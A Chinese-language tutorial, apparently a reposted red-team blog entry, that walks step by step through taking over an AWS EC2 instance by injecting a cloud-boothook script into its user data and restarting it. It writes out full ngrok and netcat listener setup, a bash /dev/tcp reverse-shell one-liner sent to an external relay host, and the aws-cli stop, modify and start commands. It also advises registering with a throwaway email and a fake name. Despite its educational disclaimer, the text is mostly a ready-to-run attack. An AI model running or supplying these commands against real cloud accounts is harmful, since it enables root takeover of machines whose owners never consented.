记录下aws ec2 如何执行反弹shell
本文仅供参考和教育目的,适合那些愿意并好奇了解和了解安全和渗透测试的人。内容不得用于非法目的。如果您准备好学习新的东西,然后继续阅读。
Amazon“aws ec2修改实例属性”允许您将shell命令注入虚拟机的所谓“用户数据”中。用户数据是一种在启动时运行的机器启动脚本。默认情况下,用户数据代码在系统启动时以 Linux root 或 Windows 本地管理员身份运行。
为什么这有用?
首先,它充当恢复机制。失去管理访问权限的管理员仍然可以使用 Amazon API 来登录相应的虚拟机。
此外,在测试作业中,您可以检查给出的权利是否太宽泛。被测试的帐户可能被授予比预期更多的权限。这可能会导致横向移动。
POC 由 2 台机器组成:配置为 Linux Ubuntu 的 Amazon ec2 实例和攻击者机器(Kali Linux 2023.2 版本)。
在接下来的部分中,我将演示 Linux 反向 shell 场景。如果您拥有 Windows ec2 实例,也可以执行此 PoC。唯一的区别是您需要在步骤 11 中提供 Windows 负载。
对于这种情况,我们将使用工具 ngrok (https://ngrok.com/)。Ngrok 用于在 ngrok 云服务器和 Kali Linux 攻击者系统之间建立 VPN 隧道。来自 Linux 目标系统的出站流量将通过 ngrok VPN 隧道路由,最终到达 Kali 系统。因此,提前征求许可(ngrok 的使用)是否属于“交战规则”非常重要。仅当目标虚拟机具有出站 Internet 访问权限时,此方案才有效。
攻击者系统
要求:
- 有效的亚马逊API凭证
- 配置了出站 Internet 访问的 Amazon ec2 实例(默认)
- 您的 Amazon 配置文件包含权限 ec2:start-instance、ec2:stop-instance、ec2:modify-instance-attribute。
准备工作:
通过步骤 1 到 8,我们将准备 Kali Linux 系统:
· 安装ngrok
· 注册ngrok账户
· 安装aws-cli工具
· 设置您的 aws 配置文件
-
1.在攻击者机器 Kali Linux 上执行
-
cd /tmp
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
sudo tar xvzf /tmp/ngrok-v3-stable-linux-amd64.tgz
sudo chown -R root:root /tmp/ngrok
sudo mv /tmp/ngrok /usr/local/bin
ngrok version
2.在攻击者机器Kali Linux上执行
获取临时电子邮件地址以便在 ngrok.io 注册。您可以通过https://www.minuteinbox.com/获取 10 分钟邮箱
3.在攻击者机器Kali Linux上执行
使用临时电子邮件地址向 ngrok 注册。导航至https://dashboard.ngrok.com/signup
提供以下信息:
姓名:<您的真名或假名>
电子邮件:<您的电子邮件>@meantodeal.com
密码:<您的密码>
4.在攻击者机器Kali Linux上执行
不要忘记验证您的 ngrok.com 电子邮件地址
5.在攻击者机器Kali Linux上执行
在https://dashboard.ngrok.com/get-started/setup内,复制并粘贴 ngrok API 令牌。
6.在攻击者机器Kali Linux上执行
安装 ngrok API 密钥。
ngrok config add-authtoken 2OVFgvlBTGDipmNkHbGpI<redacted>
7.在攻击者机器Kali Linux上执行
安装 aws cli 工具。
# 安装 aws cli
sudo apt install awscli
8.在攻击者机器Kali Linux上执行
配置您的 aws 配置文件。您需要提供您的 aws API 详细信息(密钥 ID 和密钥)。如果您还没有 Amazon 账户,可以在https://portal.aws.amazon.com/gp/aws/developer/registration/index.html注册
# 设置您的 aws 配置文件(提供 API 访问密钥)
aws configure --profile <name>
我们已经完成了准备工作。我们可以继续我们的 PoC 并使用 aws-cli 工具执行 Amazon 命令。
Linux通过注入用户数据进行反向shell
9.在攻击者机器Kali Linux上执行
使用 aws cli 工具获取您的 ec2 实例的列表。
aws ec2 describe-instances --profile nwh --query 'Reservations[].Instances[]' | jq -r '.[] | "InstanceId: (.InstanceId) EIP: (.PublicIpAddress) OS: (.PlatformDetails)"'
在下一部分中,我将使用变量$inst_id来引用目标 ec2 instanceId。
10.在攻击者机器Kali Linux上执行
启动ngrok tcp隧道
ngrok tcp 8080
在攻击者机器Kali Linux上执行
启动对应的netcat监听器
nc -nlvp 8080
11.在攻击者机器Kali Linux上执行
创建一个 shell 脚本来注入目标计算机的用户数据。提供 ngrok 隧道详细信息(LHOST=主机名和 LPORT=端口)。
cd /tmp
LHOST=6.tcp.eu.ngrok.io
LPORT=10923
echo "#cloud-boothook" >shell.sh
echo "#!/bin/bash" >>shell.sh
echo "bash -i >& /dev/tcp/ $LHOST / $LPORT 0>&1" >>shell.sh
chmod 755 /tmp/shell.sh
注意:不要删除第一个注释行“#cloud-boothook”。
12.在攻击者机器Kali Linux上执行
将您的 shell 脚本(步骤 11)转换为 base64。
# base64
base64 /tmp/shell.sh > /tmp/shell_base64.txt
13.在攻击者机器Kali Linux上执行
使用 aws cli 工具停止目标实例。
# stop target instance
aws ec2 stop-instances --instance-id $inst_id --profile nwh; sleep 45
14.在攻击者机器Kali Linux上执行
使用 aws cli 工具检查目标计算机的用户数据。
aws ec2 describe-instance-attribute --instance-id $inst_id --attribute userData --output text --query "UserData.Value" --profile nwh | base64 –decode
15.在攻击者机器Kali Linux上执行
使用 aws cli 工具启动目标实例。
# 启动实例
aws ec2 start-instances --instance-id $inst_id --profile nwh
稍后(大约 1 分钟),代码将执行,您将收到一个反向 shell。
16.在攻击者机器Kali Linux上执行
可选:升级到交互式 shell。
python3 -c 'import pty; pty.spawn("/bin/bash")';
参考
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html
https://ngrok.com/
https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/
原文始发于微信公众号(红队笔记录):引爆AWS EC2实例:轻松获取反向 shell访问权限!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论